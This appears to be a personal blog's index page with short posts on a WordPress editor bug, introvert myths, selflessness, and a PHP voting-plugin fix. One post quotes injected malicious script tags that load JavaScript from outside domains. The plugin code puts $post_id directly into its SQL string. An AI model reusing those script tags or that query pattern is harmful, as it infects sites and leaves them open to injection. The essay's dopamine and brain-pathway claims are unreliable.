Maa – Anwar Masood

Comments

Hitler’s Reaction Video – Google Penguin Update

Saw it again, still made me laugh.

Comments

WordPress 3.5 – Post Box/Post Editor size bug?

Upgraded to WordPress 3.5. Now there is no option to set the post box size. Earlier one could set the size in Settings > Writing.

I was editing a long post on a site, and box height increased automatically. I’ve tried reducing the box size manually, but I always get a very long box when I try to edit a post or go to add new post. Height of the box is 5000px.

I found this code in wp-class-editor.php

if ( $cookie )
$set['editor_height'] = $cookie;
}
if ( $set['editor_height'] < 50 )
$set['editor_height'] = 50;
elseif ( $set['editor_height'] > 5000 )
$set['editor_height'] = 5000;
return $set;

Tried clearing cookies, used a different browser, I still get a long box.

The code seems right, cookie functionality seems to be broken.

Update: (25th January, 2013) The bug has been fixed in WordPress 3.5.1

Comments

WordPress Malware: Javascript insertion in index.php

script type="text/javascript" src="http://climalise.fr/jex/cb.php"></script>

<script type="text/javascript" src="http://dichne.com/js/Check.php"></script>

<script type="text/javascript" src="http://anisioteixeira.com.br/red.php"></script>

My sites keep getting infected by this. I use latest version of WordPress, all plugins seem fine, no bad code in the the theme as well. Maybe there is a virus in my PC, or the ftp credentials were stolen or there are some infected php files on my server.

Comments (2)

Myths about introverts

Came across this article long time ago. Liked it so much. I’m posting it here.

Myth #1 – Introverts don’t like to talk.
This is not true. Introverts just don’t talk unless they have something to say. They hate small talk. Get an introvert talking about something they are interested in, and they won’t shut up for days.

Myth #2 – Introverts are shy.
Shyness has nothing to do with being an Introvert. Introverts are not necessarily afraid of people. What they need is a reason to interact. They don’t interact for the sake of interacting. If you want to talk to an Introvert, just start talking. Don’t worry about being polite.

Myth #3 – Introverts are rude.
Introverts often don’t see a reason for beating around the bush with social pleasantries. They want everyone to just be real and honest. Unfortunately, this is not acceptable in most settings, so Introverts can feel a lot of pressure to fit in, which they find exhausting.

Myth #4 – Introverts don’t like people.
On the contrary, Introverts intensely value the few friends they have. They can count their close friends on one hand. If you are lucky enough for an introvert to consider you a friend, you probably have a loyal ally for life. Once you have earned their respect as being a person of substance, you’re in.

Myth #5 – Introverts don’t like to go out in public.
Nonsense. Introverts just don’t like to go out in public FOR AS LONG. They also like to avoid the complications that are involved in public activities. They take in data and experiences very quickly, and as a result, don’t need to be there for long to “get it.” They’re ready to go home, recharge, and process it all. In fact, recharging is absolutely crucial for Introverts.

Myth #6 – Introverts always want to be alone.
Introverts are perfectly comfortable with their own thoughts. They think a lot. They daydream. They like to have problems to work on, puzzles to solve. But they can also get incredibly lonely if they don’t have anyone to share their discoveries with. They crave an authentic and sincere connection with ONE PERSON at a time.

Myth #7 – Introverts are weird.
Introverts are often individualists. They don’t follow the crowd. They’d prefer to be valued for their novel ways of living. They think for themselves and because of that, they often challenge the norm. They don’t make most decisions based on what is popular or trendy.

Myth #8 – Introverts are aloof nerds.
Introverts are people who primarily look inward, paying close attention to their thoughts and emotions. It’s not that they are incapable of paying attention to what is going on around them, it’s just that their inner world is much more stimulating and rewarding to them.

Myth #9 – Introverts don’t know how to relax and have fun.
Introverts typically relax at home or in nature, not in busy public places. Introverts are not thrill seekers and adrenaline junkies. If there is too much talking and noise going on, they shut down. Their brains are too sensitive to the neurotransmitter called Dopamine. Introverts and Extroverts have different dominant neuro-pathways. Just look it up.

Myth #10 – Introverts can fix themselves and become Extroverts.
A world without Introverts would be a world with few scientists, musicians, artists, poets, filmmakers, doctors, mathematicians, writers, and philosophers. That being said, there are still plenty of techniques an Extrovert can learn in order to interact with Introverts. (Yes, I reversed these two terms on purpose to show you how biased our society is.) Introverts cannot “fix themselves” and deserve respect for their natural temperament and contributions to the human race. In fact, one study (Silverman, 1986) showed that the percentage of Introverts increases with IQ.

A section of Laney’s book (page 71 through page 75) maps out the human brain and explains how neuro-transmitters follow different dominant paths in the nervous systems of Introverts and Extroverts. If the science behind the book is correct, it turns out that Introverts are people who are over-sensitive to Dopamine, so too much external stimulation overdoses and exhausts them. Conversely, Extroverts can’t get enough Dopamine, and they require Adrenaline for their brains to create it. Extroverts also have a shorter pathway and less blood-flow to the brain. The messages of an Extrovert’s nervous system mostly bypass the Broca’s area in the frontal lobe, which is where a large portion of contemplation takes place.

Source: http://www.carlkingdom.com/10-myths-about-introverts (Written by Carl King)

Comments

Can we do anything that is not in self interest?

“If one earns merit here through seva, one will get a seat of honour in His Court hereafter.”

If you are doing doing something to get something in return, how come it is selfless?

Also, if you do something that makes you feel good about yourself, like helping someone in need or giving away money to a poor person, in your head you go “I’m a good person, I did something good, that makes me better than others, God would treat me nicely now, I feel good“…doing things to feel good about yourself…isn’t that selfish?

Comments

Fixed a php bug, $wpdb->get_var() – Differentiating between zero & no results

I use a custom made voting plugin for one of my website. It lets users vote a vote up or down.

There’s code in the plugin that checks if voting data already exists for a post or not, if it exists, the code would update that row else it would create a new row.

For posts that had zero votes, the plugin was creating new row each time a user voted.

The code used to check if an entry existed:

Function1

$sql="SELECT `$up_type` FROM `$table_name` WHERE `post_id` = '$post_id' ;";
$to_ret=$wpdb->get_var($sql);
if(empty($to_ret))
{
$to_ret=0;
}
return $to_ret;

For no results and for a post with 0 votes, it would return the value 0.

I created a separate function because the same function was called multiple times, and for some instances I needed it to return 0 value. Anyways, I modified the code.

Function2

$sql="SELECT `$up_type` FROM `$table_name` WHERE `post_id` = '$post_id' ;";
$to_ret=$wpdb->get_var($sql);
if(is_null($to_ret))
{
$to_ret=nothingfound;
}
return $to_ret;

The get_var function returns a single variable from the database. Though only one variable is returned, the entire result of the query is cached for later use. Returns NULL if no result is found.

http://codex.wordpress.org/Class_Reference/wpdb

Comments

Page 1 of 1012345...10...Last »